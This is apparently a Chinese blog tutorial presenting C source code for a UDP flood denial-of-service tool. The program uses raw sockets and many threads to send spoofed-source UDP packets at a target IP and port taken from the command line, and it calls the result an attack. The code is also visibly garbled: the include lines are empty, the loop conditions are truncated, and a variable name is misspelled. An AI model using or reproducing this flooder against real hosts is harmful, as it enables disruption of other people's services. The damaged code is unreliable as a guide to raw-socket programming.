Linux网络编程下UDP洪水攻击实例介绍

1.介绍

UDP攻击向目标主机的UDP端口发送大量的UDP报文,造成目标主机的端口堵塞,达到攻击的目的。建立多线程,利用原始套接字封装UDP与IP的首部,然后发送UDP报文,攻击目标主机.

2. 实现实例

  1 #include
  2 #include
  3 #include
  4 #include
  5 #include
  6 #include
  7 #include
  8 #include
  9 #include
 10 #include
 11 #include
 12 #include
 13 #include
 14 #include
 15 #include
 16 //#include
 17 
 18 #define MAXCHILD 128        //最多线程数
 19 static unsigned long dest=0;        //目的IP地址
 20 static int PROTO_UDP =-1;           //UDP协议的值
 21 static alive=-1;                    //程序活动标志
 22 static int dest_port=0;             //目的端口
 23 static int rawsock=-1;              //原始套接字
 24 
 25 //函数声明
 26 static inline long myrandom(int begin,int end);     //自定义随机函数
 27 static unsigned short Dos_cksum(unsigned short* data,int length);//CRC校验
 28 static void Dos_udp();      //UDP核心处理函数
 29 static void Dos_fun(unsigned long ip);  //线程处理函数Dos_udp
 30 static void Dos_sig();      //信号处理函数,捕捉ctrl+c
 31 int main(int argc,char* argv[])
 32 {
 33     struct hostent* host=NULL;
 34     struct protoent* protocol=NULL;
 35     char protoname[]="udp";
 36     int i=0;
 37     pthread_t pthread[MAXCHILD];

 38     int err=-1;
 39     alive=1;
 40 
 41     signal(SIGINT,Dos_sig); //截取信号ctrl+c
 42     //参数设置是否正确
 43     if(argc<3)
 44     {
 45         return -1;
 46     }
 47     //获取协议类型UDP
 48     protocol=getprotobyname(protoname);
 49     if(protocol==NULL)
 50     {
 51         perror("getprotobyname()");
 52         return -1;
 53     }
 54     PROTO_UDP=protocol->p_proto;
 55     //输入的目的地址为字符串IP地址
 56     dest=inet_addr(argv[1]);
 57     if(dest==INADDR_NONE)
 58     {
 59         //输入目的地址为DNS地址
 60         host=gethostbyname(argv[1]);
 61         if(host==NULL)
 62         {
 63             perror("gethostbyname()");
 64             return -1;
 65         }
 66         //将地址复制到dest中
 67         memcpy((char*)&dest,host->h_addr,host->h_length);
 68     }
 69     //目的端口
 70     dest_port=atoi(argv[2]);
 71     //建立原始socket
 72     rawsock=socket(AF_INET,SOCK_RAW,PROTO_UDP);
 73     //设置IP选项
 74     setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));

 75     //建立多个线程协同工作
 76     for(i=0;i  77     {
 78         err=pthread_create(&pthread[i],NULL,Dos_fun,NULL);
 79     }
 80     //等待线程结束
 81     for(i=0;i  82     {
 83         pthread_join(pthread[i],NULL);
 84     }
 85     close(rawsock);
 86     return 0;
 87 }
 88 
 89 //CRC16校验
 90 static unsigned short Dos_cksum(unsigned short* data,int length)
 91 {
 92     register int left=length;
 93     register unsigned short* word=data;
 94     register int sum=0;
 95     unsigned short ret=0;
 96     //计算偶数字节
 97     while(left>1)
 98     {
 99         sum+=*word++;
100         left-=2;
101     }
102     //如果为奇数,将剩余一个字节单独计算,剩余的一个字节为高字节,构建一个short类型变量
103     if(left==1)
104     {
105         *(unsigned char*)(&ret)=*(unsigned char*)word;
106         sum+=ret;
107     }
108     //折叠
109     sum=(sum>>16)+(sum&0xffff);
110     sum+=(sum>>16);
111     //取反

112     ret=~sum;
113     return ret;
114 }
115 
116 //自定义随机数产生函数,系统随机函数为伪随机函数,其值与初始化有关,因此采用不同的值进行初始化
117 static inline long myrandom(int begin,int end)
118 {
119     int gap=end-begin+1;
120     int ret=0;
121     //用系统时间初始化
122     srand((unsigned)time(0));
123     //产生一个介于begin和end之间的值
124     ret=random()%gap+begin;
125     return ret;
126 }
127 
128 //UDP发送核心处理函数Dos_udp
129 static void Dos_udp()
130 {
131 #define K 1024
132 #define DATUML (3*K)    //UDP数据部分长度
133 
134     //数据总长度
135     int tot_len=sizeof(struct ip)+sizeof(struct udphdr)+DATUML;
136     //发送目的地址
137     struct sockaddr_in to;
138 
139     //Dos结构,分为IP头部、UDP头部、UDP数据部分
140     struct dosseg_t
141     {
142         struct ip iph;
143         struct udphdr udph;
144         unsigned char data[65535];
145     }dosseg;
146     //IP地址版本,IPv4
147     dosseg.iph.ip_v=4;
148     //IP头部长度,字节数

149     dosseg.iph.ip_hl=5;
150     //服务类型
151     dosseg.iph.ip_tos=0;
152     //IP报文的总长度
153     dosseg.iph.ip_len=htons(tot_len);
154     //标识,设置PID
155     dosseg.iph.ip_id=htons(getpid());
156     //段的偏移地址
157     dosseg.iph.ip_off=0;
158     //TTL
159     dosseg.iph.ip_ttl=myrandom(200,65535);
160     //协议类型
161     dosseg.iph.ip_p=PROTO_UDP;
162     //校验和,先填写为0
163     dosseg.iph.ip_sum=0;
164     //发送的源地址
165     dosseg.iph.ip_src.s_addr=(unsigned long)myrandom(0,65535);
166     //发送目的地址
167     dosseg.iph.ip_dst.s_addr=dest;
168     dosseg.iph.ip_sum=Dos_cksum((unsigned short*)&dosseg.iph,sizeof(dosseg.iph));
169 #ifdef __FAVOR_BSD
170     //UDP源端口
171     dosseg.udph.uh_sport=(unsigned long)myrandom(0,65535);
172     //UDP目的端口
173     dosseg.udph.uh_dport=dest_port;
174     //UDP数据长度
175     dosseg.udph.uh_ulen=htons(sizeof(dosseg.udph)+DATUML);
176     //校验和,先填写0
177     dosseg.udph.uh_sum=0;
178     dosseg.udph.uh_sum=Dos_cksum((unsigned short*)&desseg.udph,tot_len);
179 #else
180     //UDP源端口
181     dosseg.udph.source=(unsigned long)myrandom(0,65535);
182     //UDP目的端口
183     dosseg.udph.dest=dest_port;
184     //UDP数据长度
185     dosseg.udph.len=htons(sizeof(dosseg.udph)+DATUML);

186    //校验和,先填写0
187     dosseg.udph.check=0;
188     dosseg.udph.check=Dos_cksum((unsigned short*)&dosseg.udph,tot_len);
189 #endif
190     //填写发送目的地址部分
191     to.sin_family=AF_INET;
192     to.sin_addr.s_addr=dest;
193     to.sin_port=htons(0);
194     //发送数据
195     sendto(rawsock,&dosseg,tot_len,0,(struct sockaddr*)&to,sizeof(struct sockaddr));
196 }
197 
198 //线程函数Dos_fun
199 static void Dos_fun(unsigned long ip)
200 {
201     while(alive)
202     {
203         Dos_udp();
204     }
205 }
206 
207 //捕捉ctrl+c信号函数
208 static void Dos_sig()
209 {
210     alive=0;
211     printf("pthread exit!捕捉到ctrl+c信号,线程结束\n");
212     return;
213 }

总结:本文主要介绍了通过原始套接字发送大量的UDP报文,使端口阻塞,达到攻击的目的

你可能感兴趣的:(linux,udp,syn)